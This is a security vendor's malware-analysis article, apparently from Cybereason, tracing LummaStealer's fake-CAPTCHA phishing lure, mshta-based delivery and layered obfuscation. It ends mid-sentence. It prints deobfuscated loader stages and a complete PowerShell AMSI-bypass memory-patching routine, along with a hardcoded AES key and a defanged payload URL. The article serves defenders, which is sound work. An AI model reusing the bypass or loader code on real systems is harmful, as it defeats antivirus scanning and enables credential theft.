{
	"id": "7dafac2e-ba5b-4d67-b889-bee62619de94",
	"created_at": "2026-04-06T00:14:18.649744Z",
	"updated_at": "2026-04-10T13:12:00.111637Z",
	"deleted_at": null,
	"sha1_hash": "902d4174a1988769c9a23e4f1d73b45450afc09f",
	"title": "From Shadow to Spotlight: The Evolution of LummaStealer and Its Hidden Secrets",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3140354,
	"plain_text": "From Shadow to Spotlight: The Evolution of LummaStealer and Its\r\nHidden Secrets\r\nBy Cybereason Security Services Team\r\nArchived: 2026-04-05 19:00:59 UTC\r\nThis article is a continuation of the previous research published on the malware LummaStealer: \"Your Data Is Under New\r\nLummanagement: The Rise of LummaStealer\".\r\nLummaStealer (aka LummaC2, Lummac, and Lumma Stealer) is a sophisticated malware that is spread as Malware-as-a-Service (MaaS). It was originally observed in 2022 and known to be developed by Russian-speaking adversaries. It targets a\r\nwide range of Windows systems. The developers of LummaStealer have shown a lot of agility to ensure their malware\r\nremains undetected and that the potential host-based detection rules put in place for a given sample do not apply to the new\r\nones.\r\nThe Cybereason GSOC team were able to identify, classify, and respond accordingly, thanks to the advanced detection\r\ncapabilities of the Cybereason EDR solution against the evolving tactics of LummaStealer.\r\nThis research article aims to provide detailed insights to assist security analysts in identifying, classifying, containing, and\r\neradicating incidents involving LummaStealer. By highlighting the threat actor's new tactics, techniques, and procedures\r\n(TTPs), this article serves as a comprehensive resource to enhance incident response capabilities and support organizational\r\ndefenses against this rapidly evolving threat.\r\nINTRODUCTION\r\nPreviously, in the article titled “Your Data Is Under New Lummanagement: The Rise of LummaStealer\" our security team\r\nhighlighted the nature of LummaStealer, its distribution methods, and how threat actors attempted to achieve their\r\nobjectives.\r\nThe key points to take away from the previous article can be summarized as follows:\r\nLummaStealer is known as info-stealer malware having the ability to collect a wide range of sensitive data including\r\ncredentials, cookies, cryptocurrency wallets, and other personally identifiable information.\r\nPreviously, our security team observed 6 different initial payloads associated with LummaStealer, showcasing the threat\r\nactors' diverse tactics to deploy the malware. These payloads included:\r\nDLL side-loading using vulnerable/cracked software\r\nMSI file with AutoIT script\r\nPython based DLL (Python setup.exe and DLL)\r\nVulnerable/cracked software with LummaStealer payload\r\nMSI file with Executable and RAR\r\nZIP file with PDF file decoy\r\nNew Observed Payload\r\nIn this article, we introduce an additional initial payload observed in recent LummaStealer campaigns, which demonstrates\r\nenhanced evasion techniques:\r\nMSHTA Process Abuse\r\nThe mshta.exe process, a legitimate Windows utility, is abused to execute remote hosted code masquerading as an .mp4 file\r\nalong an additional parameter that mimics a CAPTCHA.\r\nSource: Cybereason EDR solution Attack Tree,\r\nfake captcha\r\nThis technique exploits trusted system processes to bypass defense mechanisms, delivering the malicious payload stealthily\r\nand increasing the likelihood of execution.\r\nDELIVERY METHOD\r\nAs the malware is being distributed by many actors, there is no particular evidence pointing to a single delivery method.\r\nHowever, the Cybereason team has identified a recurring pattern in which the majority of successful malware deliveries\r\nhave been observed via phishing emails. These emails typically contain malicious links that lead users to a fake CAPTCHA.\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 1 of 21\n\nOnce the user interacts with the page, it further leads an execution in the background to deploy the first stage payload\r\nsilently.\r\nSource:\r\nCybereason EDR solution , Machine Timeline, Phishing Evidence\r\nINITIAL ACCESS\r\nThe user is socially engineered into clicking a malicious link that leads to a fake CAPTCHA page. This page contains a\r\ntactic where the user has been requested to copy a malicious script and paste it into the Windows Run dialog box, a utility\r\nthat allows users to quickly launch services and execute commands.\r\nSource: Compromised store spread\r\nLumma Stealer using a fake CAPTCHA. (2024, December 24). seanthegeek.net.\r\nSource:\r\nCybereason EDR solution Attack Tree, mshta\r\nDEOBFUSCATING THE MALWARE\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 2 of 21\n\nSource: Cybereason EDR solution, LummaStealer.v2 successful deployment using mshta full attack tree\r\nReverse Engineering of the Malware\r\nStage 1 - Payload distributed through (mshta.exe) downloading a file masquerading as an mp4 file\r\nSystem Binary Proxy Execution: Mshta\r\nThe mshta.exe process, a legitimate Windows utility, is exploited to execute Microsoft HTML applications (HTA) files. The\r\nHTA are standalone applications that operate using the same models and technologies as Internet Explorer but execute\r\noutside the browser environment. This technique is often used as a LolBin (Living off the land Binary) to bypass application\r\ncontrol solutions that fail to account for its potential misuse, as well as browser security settings since the execution occurs\r\noutside the browser’s security context. This behavior is classified as T1218.005 under the MITRE ATT\u0026CK framework.\r\nThe link directs the system to a specific directory masquerading as an MP4 multimedia file.\r\nThis file contains a combination of HEX and obfuscated JavaScript code, which the executable mshta.exe has the\r\ncapabilities to open and execute.\r\nSource: Cybereason EDR solution Attack Tree, powershell\r\nThe execution involves deploying the second stage payload, which is initiated through the malicious link. The link\r\nmasquerades as an MP4 multimedia file containing embedded instructions that execute a highly obfuscated PowerShell\r\nScript. This script facilitates the deployment of the second stage payload advancing the threat actor’s objectives.\r\nOpening the file disguised as an MP4 extension reveals heavily obfuscated JavaScript code.\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 3 of 21\n\nFurther analysis of the script reveals that the variable “Fygo” contains the final version of the second stage of PowerShell\r\npayload, which was executed via the ‘eval’ JavaScript function.\r\neval () has the capabilities to parse and execute code stored in a previously defined string. The eval function is commonly\r\nexploited for malicious purposes because it doesn't distinguish between JavaScript expressions, variables, statements, or\r\nsequences of statements, allowing it to execute any code passed to it with the sender's privileges.\r\nAfter extracting the strings from the file and conducting a thorough analysis, starting with the eval() function used to execute\r\ncode within the file, the following segments could be identified:\r\nHex payload.\r\n66S75h6er63C74i69K6fj6eA20N58Q5aE75W42l6cV6fH28r50p63U\r\n50x61F29q7bD76Q61t72b20e46c79y67g6fj3dr20T27w27J3bG66M6fJ72j20F28u76O61g72b20K61F4aw54x6au20U3dX20l30A3bn61w4aX54P6aR20y\r\nAssigns the entire HTML content of the document (including the \u003chtml\u003e element) to the variable XZuBlo.\r\n\u003cscript\u003evar XZuBlo = document.documentElement.outerHTML\u003c/script\u003e\r\nExtracts a substring from the variable XZuBlo, starting at index 27 and ending at index 51708, and assigns it to the variable\r\nFygo.\r\nThis string represents the hex-encoded payload extracted from the beginning of the file using\r\ndocument.documentElement.outerHTML, which starts with \u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e Consequently, the substring\r\ncommand is applied starting from the 27th character.\r\n\u003cscript\u003evar Fygo = XZuBlo.substring(27 , 51708);\u003c/script\u003e\r\nDecodes a hex-encoded string by replacing every pair of hex digits with the corresponding character, then executes the\r\nresulting code.\r\n\u003cscript\u003eeval(Fygo.replace(/(..)./g, function(match, p1) {return String.fromCharCode(parseInt(p1, 16))}));\u003c/script\u003e\r\nThen, after cleaning the code from unnecessary fragments, the result was obtained.\r\nThis final, slightly modified form of the script decodes the hex-encoded string stored in Fygo by replacing each pair of hex\r\ndigits with the corresponding character, then opens a new browser window, and writes the decoded content into that\r\nwindow. \r\nAfter saving the file with the .HTA extension and running it using mshta.exe, the following result was obtained:\r\nfunction XZuBlo(PcPa){var Fygo= '';for (var aJTj = 0;aJTj \u003c PcPa.length; aJTj++){var VlCN =\r\nString.fromCharCode(PcPa[aJTj] - 411);Fygo = Fygo + VlCN}return Fygo};var Fygo =\r\nXZuBlo([523,522,530,512,525,526,515,512,519,519,457,512,531,512,443,456,530,443,460,443,456,512,523,443,496,521,525,512,526,527,525,516,510,\r\naJTj = XZuBlo([498,494,510,525,516,523,527,457,494,515,512,519,519]);var XZuBlo = new\r\nActiveXObject(aJTj);XZuBlo.Run(Fygo, 0, true);\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 4 of 21\n\nThe script defines a function XZuBlo that decodes a sequence of numbers by subtracting 411 from each value, converting it\r\nto a character, and appending it to a string. It then uses this function to decode two sequences of numbers, storing the results\r\nin Fygo and aJTj. The script proceeds by creating an ActiveXObject using the decoded value of aJTj and runs the decoded\r\nscript Fygo through it.\r\nFor decoding purposes, XZuBlo.Run(Fygo, 0, true) was replaced with console.log(\"Final Payload\", Fygo) and executed in\r\nthe browser console. This resulted in the output of the final PowerShell payload.\r\npowershell.exe -w 1 -ep Unrestricted -nop function LDTn($tKeH){return -split ($tKeH -replace '..', '0x$\u0026 ')};$CeoGk =\r\nLDTn('0CDF598A18A4AED91A5BE85EF010DC812DDF6CA5E01BA0841D5400BFA8865EEEE3...\r\nStage 2 - Execution of the obfuscated Powershell \r\nThe observed command line is as follows: \r\n\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -w 1 -ep Unrestricted -nop function LDTn($tKeH)\r\n{return -split ($tKeH -replace '..', '0x$\u0026 ')};$CeoGk =\r\nLDTn('0CDF598A18A4AED91A5BE85EF010DC812DDF6CA5E01BA0841D5400BFA8865EEEE33519508FA28ED22E033FB61D6860286C5AD585\r\njoin [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((LDTn('49434457727243754F7361764B4D4679')),\r\n[byte[]]::new(16)).TransformFinalBlock($CeoGk,0,$CeoGk.Length)); \u0026 $MquE.Substring(0,3) $MquE.Substring(187)\r\nAt first glance, we observed a long hexadecimal string along an additional parameter\r\n([Security.Cryptography.Aes]::Create()).CreateDecryptor((LDTn('49434457727243754F7361764B4D4679')),\r\n[byte[]]::new(16)).TransformFinalBlock($CeoGk, 0, $CeoGk.Length)\r\nThis indicates that the hexadecimal value is not in plaintext but instead encrypted using AES encryption. \r\nThe decryption key is hardcoded as 49434457727243754F7361764B4D4679 (), and a 16 byte block of empty slots\r\n([byte[]]::new(16)) is created to serve as the Initialization Vector (IV), a crucial component for the AES\r\nencryption/decryption process. \r\nDECRYPTION WITH CYBERCHEF\r\nThe Cyberchef tool can be used to decode the first layer encryption. From the obtained key, hex string and a hint from the\r\nInitialization Vector (IV) being set to 16 byte block of empty slots which means any number consisting of 32 values, we will\r\nbe able to revert the first layer on a plain text. \r\nOutput\r\nFrom the initial decoded plaintext string, our analysis revealed an obfuscated command containing a redirection to a specific\r\nURL (https://sakura[.]holistic[-]haven[.]shop/singl6).\r\nBy looking it up on VirusTotal, we were able to successfully retrieve the content hosted in that URL. \r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 5 of 21\n\nSource: VirusTotal. (n.d.). VirusTotal.\r\nhttps://www.virustotal.com/gui/file/06f848f9c41bfb87ff6a8349180947d19edd0893f2791040bc3018355e862ea1/content\r\nThe initial observations appeared to consist of variables being computed through nested mathematical operations, indicating\r\na layered obfuscation mechanism. This structure can be represented as a  “matryokshka” doll, a metaphorical representation\r\nof the multiple layers of obfuscation within the code waiting to be deobfuscated to uncover the next layer and ultimately\r\ndetermine the true nature of the malware. \r\nStage 3 - Payload \r\nIn the analyzed phase 3, the most important thing is the end of the file. Large array $dsahg78das with bytes and function\r\nfdsjnh.\r\nfunction fdsjnh {\r\n    $arrMath = New-Object System.Collections.ArrayList\r\n    for ($i = 0; $i -le $dsahg78das.Length - 1; $i++) {\r\n        $arrMath.Add([char]$dsahg78das[$i]) | Out-Null\r\n    }\r\n    \r\n    $z = $arrMath -join \"\"\r\n    $enc = [System.Text.Encoding]::UTF8\r\n    $xorkey = $enc.GetBytes(\"$gdfsodsao\")\r\n    $string = $enc.GetString([System.Convert]::FromBase64String($z))\r\n    $byteString = $enc.GetBytes($string)\r\n    \r\n    $xordData = $(for ($i = 0; $i -lt $byteString.Length;) {\r\n        for ($j = 0; $j -lt $xorkey.Length; $j++) {\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 6 of 21\n\n$byteString[$i] -bxor $xorkey[$j]\r\n            $i++\r\n            if ($i -ge $byteString.Length) {\r\n                $j = $xorkey.Length\r\n            }\r\n        }\r\n    })\r\n    \r\n    $xordData = $enc.GetString($xordData)\r\n    return $xordData\r\n}\r\n(($yWxOpbM -as [Type])::($jMdONfJV)(fdsjnh)).($YjMNzUFLdZVJ)()\r\nThe code of the function fdsjnh performs several operations to decode and process data:\r\n1. It creates a new array list $arrMath and fills it with characters from the $dsahg78das array.\r\n2. It then combines these characters into a single string $z.\r\n3. The string $z is decoded from Base64, and then converted to a byte array.\r\n4. The byte array is XOR-decoded using a key derived from $gdfsodsao.\r\n5. Finally, the function returns the decoded string $xordData.\r\nAfter defining the function, the second part of the code executes it dynamically. It calls the method $jMdONfJV from a type\r\n$yWxOpbM, passing the result of fdsjnh as a parameter. Then it invokes a method $YjMNzUFLdZVJ() on the decoded data.\r\nTo clearly see what this code actually does, the most important thing is to define the variables $gdfsodsao and $dsahg78das\r\nwith proper values and execute the fdsjnh function.\r\nVariable $gdfsodsao is highly obfuscated however with simple code we can deobfuscate them:\r\n$gdfsodsao = ($ZpgGD\"-as\r\n[Type]).($vUeuKbMhYn).($wUbCcWg)($fWMgoa).($MwlkY)($DqMQTZ, ($YkdEvO -as [Type])::$bhniDvzHOPWyaK -\r\nbor ($YkdEvO -as\r\n[Type])::$pBhXgw).$UoZJOaGH($null, @($HzauxMWIdGEkS, [string]$iymQzwePWUYv))\r\nCommand to fully deobfuscate variable:\r\nWrite-Output $ZpgGD,$vUeuKbMhYn,$wUbCcWg,$fWMgoa,$MwlkY,$DqMQTZ,$YkdEvO,    \r\n $bhniDvzHOPWyaK,$pBhXgw,$UoZJOaGH,$HzauxMWIdGEkS,$iymQzwePWUYv \r\n $ZpgGD,  Ref\r\n $vUeuKbMhYn,  Assembly\r\n $wUbCcWg,  GetType\r\n $fWMgoa, System.Management.Automation.AmsiUtils\r\n $MwlkY,      GetMethod\r\n $DqMQTZ, ScanContent\r\n$YkdEvO, Reflection.BindingFlags\r\n$bhniDvzHOPWyaK,  NonPublic\r\n$pBhXgw,   Static\r\n$UoZJOaGH, Invoke\r\n$HzauxMWIdGEkS, Invoke-Mimikatz\r\n$iymQzwePWUYv,  32\r\nFormatted version of $gdfsodsao  with proper  variables \r\n$gdfsodsao = (\r\n    [Ref] -as [Type]\r\n).Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetMethod(\r\n    \"ScanContent\",\r\n    [Reflection.BindingFlags]::NonPublic -bor [Reflection.BindingFlags]::Static\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 7 of 21\n\n).Invoke(\r\n    $null,\r\n    @(\r\n        \"Invoke-Mimikatz\",\r\n        [string]32\r\n    )\r\n)\r\nThe $gdfsodsao variable serves as a key for XOR operations within the fdsjnh function. Although it is initialized with\r\nobfuscated AMSI  (Antimalware Scan Interface) bypass logic, this logic is never executed because the variable's value is\r\ntreated as a string rather than being run as code.\r\nWith all necessary variables available and the function returning the value $xordData, the code can be modified to display\r\nthat value.\r\nOutput:\r\n$PAGE_READWRITE = 0x04\r\n$PAGE_EXECUTE_READWRITE = 0x40\r\n$PAGE_EXECUTE_READ = 0x20\r\n$PAGE_GUARD = 0x100\r\n$MEM_COMMIT = 0x1000\r\n$MAX_PATH = 260\r\n# Helper functions\r\nfunction IsReadable {\r\n    param ($protect, $state)\r\n    return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band\r\n$PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq\r\n$PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq\r\n$PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band\r\n$MEM_COMMIT) -eq $MEM_COMMIT)\r\n}\r\nfunction PatternMatch {\r\n    param ($buffer, $pattern, $index)\r\n    for ($i = 0; $i -lt $pattern.Length; $i++) {\r\n        if ($buffer[$index + $i] -ne $pattern[$i]) {\r\n            return $false\r\n        }\r\n    }\r\n    return $true\r\n}\r\nif ($PSVersionTable.PSVersion.Major -gt 2) {\r\n    # Create module builder\r\n    $DynAssembly = New-Object System.Reflection.AssemblyName(\"Win32\")\r\n    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly,\r\n[Reflection.Emit.AssemblyBuilderAccess]::Run)\r\n    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(\"Win32\", $False)\r\n    # Define structs\r\n    $TypeBuilder = $ModuleBuilder.DefineType(\"Win32.MEMORY_INFO_BASIC\",\r\n[System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed +\r\n[System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])\r\n    [void]$TypeBuilder.DefineField(\"BaseAddress\", [IntPtr], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"AllocationBase\", [IntPtr], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"AllocationProtect\", [Int32], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"RegionSize\", [IntPtr], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"State\", [Int32], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"Protect\", [Int32], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"Type\", [Int32], [System.Reflection.FieldAttributes]::Public)\r\n    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 8 of 21\n\n# Define structs\r\n    $TypeBuilder = $ModuleBuilder.DefineType(\"Win32.SYSTEM_INFO\",\r\n[System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed +\r\n[System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])\r\n    [void]$TypeBuilder.DefineField(\"wProcessorArchitecture\", [UInt16], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"wReserved\", [UInt16], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"dwPageSize\", [UInt32], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"lpMinimumApplicationAddress\", [IntPtr],\r\n[System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"lpMaximumApplicationAddress\", [IntPtr],\r\n[System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"dwActiveProcessorMask\", [IntPtr], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"dwNumberOfProcessors\", [UInt32], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"dwProcessorType\", [UInt32], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"dwAllocationGranularity\", [UInt32],\r\n[System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"wProcessorLevel\", [UInt16], [System.Reflection.FieldAttributes]::Public)\r\n    [void]$TypeBuilder.DefineField(\"wProcessorRevision\", [UInt16], [System.Reflection.FieldAttributes]::Public)\r\n    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()\r\n    # P/Invoke Methods\r\n    $TypeBuilder = $ModuleBuilder.DefineType(\"Win32.Kernel32\", \"Public, Class\")\r\n    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))\r\n    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField(\"SetLastError\")\r\n    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,\r\n\"kernel32.dll\", [Reflection.FieldInfo[]]@($SetLastError), @($True))\r\n    # Define [Win32.Kernel32]::VirtualProtect\r\n    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\"VirtualProtect\", \"kernel32.dll\",\r\n([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),\r\n[Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),\r\n[Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)\r\n    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)\r\n    # Define [Win32.Kernel32]::GetCurrentProcess\r\n    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\"GetCurrentProcess\", \"kernel32.dll\",\r\n([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),\r\n[Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(),\r\n[Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)\r\n    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)\r\n    # Define [Win32.Kernel32]::VirtualQuery\r\n    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\"VirtualQuery\", \"kernel32.dll\",\r\n([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),\r\n[Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr],\r\n[Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]),\r\n[Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)\r\n    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)\r\n    # Define [Win32.Kernel32]::GetSystemInfo\r\n    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\"GetSystemInfo\", \"kernel32.dll\",\r\n([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),\r\n[Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()),\r\n[Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)\r\n    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)\r\n    # Define [Win32.Kernel32]::GetMappedFileName\r\n    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\"GetMappedFileName\", \"psapi.dll\",\r\n([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),\r\n[Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder],\r\n[uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)\r\n    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)\r\n    # Define [Win32.Kernel32]::ReadProcessMemory\r\n    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\"ReadProcessMemory\", \"kernel32.dll\",\r\n([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 9 of 21\n\n[Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int],\r\n[int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi,\r\n[Runtime.InteropServices.CharSet]::Auto)\r\n    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)\r\n    # Define [Win32.Kernel32]::WriteProcessMemory\r\n    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\"WriteProcessMemory\", \"kernel32.dll\",\r\n([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),\r\n[Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int],\r\n[int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi,\r\n[Runtime.InteropServices.CharSet]::Auto)\r\n    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)\r\n    $Kernel32 = $TypeBuilder.CreateType()\r\n    $a = \"Ams\"\r\n    $b = \"iSc\"\r\n    $c = \"anBuf\"\r\n    $d = \"fer\"\r\n    $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)\r\n    $hProcess = [Win32.Kernel32]::GetCurrentProcess()\r\n    # Get system information\r\n    $sysInfo = New-Object Win32.SYSTEM_INFO\r\n    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)\r\n    # List of memory regions to scan\r\n    $memoryRegions = @()\r\n    $address = [IntPtr]::Zero\r\n    # Scan through memory regions\r\n    while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {\r\n        $memInfo = New-Object Win32.MEMORY_INFO_BASIC\r\n        if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo,\r\n[System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {\r\n            $memoryRegions += $memInfo\r\n        }\r\n        # Move to the next memory region\r\n        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())\r\n    }\r\n    $count = 0\r\n    # Loop through memory regions\r\n    foreach ($region in $memoryRegions) {\r\n        # Check if the region is readable and writable\r\n        if (-not (IsReadable $region.Protect $region.State)) {\r\n            continue\r\n        }\r\n        # Check if the region contains a mapped file\r\n        $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH\r\n        if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt\r\n0) {\r\n            $path = $pathBuilder.ToString()\r\n            if ($path.EndsWith(\"clr.dll\", [StringComparison]::InvariantCultureIgnoreCase)) {\r\n                # Scan the region for the pattern\r\n                $buffer = New-Object byte[] $region.RegionSize.ToInt64()\r\n                $bytesRead = 0\r\n                [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length,\r\n[ref]$bytesRead)\r\n                for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {\r\n                    $found = $True\r\n                    for ($m = 0; $m -lt $signature.Length; $m++) {\r\n                        if ($buffer[$k + $m] -ne $signature[$m]) {\r\n                            $found = $False\r\n                            break\r\n                        }\r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 10 of 21\n\n}\r\n                    if ($found) {\r\n                        $oldProtect = 0\r\n                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {\r\n                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length,\r\n$PAGE_EXECUTE_READWRITE, [ref]$oldProtect)\r\n                        }\r\n                        $replacement = New-Object byte[] $signature.Length\r\n                        $bytesWritten = 0\r\n                        [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k),\r\n$replacement, $replacement.Length, [ref]$bytesWritten)\r\n                        $count++\r\n                        if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {\r\n                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect,\r\n[ref]$oldProtect)\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n$a =\r\n\"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4\r\n...\"\r\n[Reflection.Assembly]$assembly = [System.AppDomain]::CurrentDomain.Load($bytes) # Load Assembly\r\n$assembly.EntryPoint.Invoke($null, @())\r\nStage 4 - Memory Injection\r\nThis script scans the process memory of the current PowerShell session to locate and replace specific patterns in memory. It\r\ndefines custom data structures and imports Windows API functions using dynamic assembly creation. The code searches for\r\na signature (\"AmsiScanBuffer\") in memory regions associated with clr.dll, modifies their memory protection to make them\r\nwritable if necessary, and then overwrites the pattern with a null byte array. This effectively bypasses AMSI, allowing the\r\nexecution of potentially malicious scripts without being flagged. Finally, it loads and executes a Base64-encoded .NET\r\nassembly embedded in the script.\r\nTo be precise, the base64 fragment contains code fragments related to various things, such as:the name of the executable; for\r\nexample, singl6.exe (number depends on malware version).\r\nNames of the functions that suggest interaction with user passwords:\r\nget_Password\r\nset_Password\r\nget_ServicePassword\r\nset_ServicePassword\r\nservicePassword\r\nget_OwnerPassword\r\nset_OwnerPassword\r\nget_UserPassword\r\nset_UserPassword\r\nget_IsPassword\r\nset_IsPassword\r\nget_PfxPassword\r\nset_PfxPassword\r\nNames of the functions indicating potential further communication:\r\nset_Proxy\r\nIWebProxy\r\nget_ClientProxy\r\nset_ClientProxy\r\nEncryption and enumeration \r\nhttps://www.cybereason.com/blog/threat-analysis-lummastealer-2.0\r\nPage 11 of 21\n\nEncryptKey40Bit\r\nEncryptKey256Bit\r\nEncryptKey128Bit\r\nEnumerable\r\nGetEnumerator\r\nThe presence of methods related to passwords and encryption implies that the malware could be involved in stealing\r\nsensitive information, such as user credentials or encryption keys. The proxy-related functions suggest the malware may also\r\nestablish communication channels, potentially allowing the attacker to remotely control the system, exfiltrate data, or carry\r\nout additional attacks. \r\nThe primary insights from this analysis focus on the sophisticated techniques used by the threat actors to infiltrate and\r\nexecute malicious code on the user's machine. First, the attackers exploit the legitimate Windows process mshta.exe to\r\nexecute the code, taking advantage of the fact that this process can be overlooked by security measures. They then employ\r\nvarious obfuscation methods to conceal their payloads, making them difficult to detect and analyze. These obfuscation\r\ntechniques include encoding the payloads in HEX, utilizing complex JavaScript structures, encryption, the use of convoluted\r\nnames, redundancy in variables and functions, and more. Lastly, the malware takes the additional step of loading its\r\nmalicious code directly into memory, bypassing traditional file-based security checks and allowing the attack to remain\r\nundetected by some security systems.\r\nDarknet Activity Overview\r\nIn this section, we examine the darknet activities of the LummaStealer operators and explore their newly devised methods\r\nfor monetizing stolen data. By establishing an internal marketplace on Telegram, they enable direct transactions 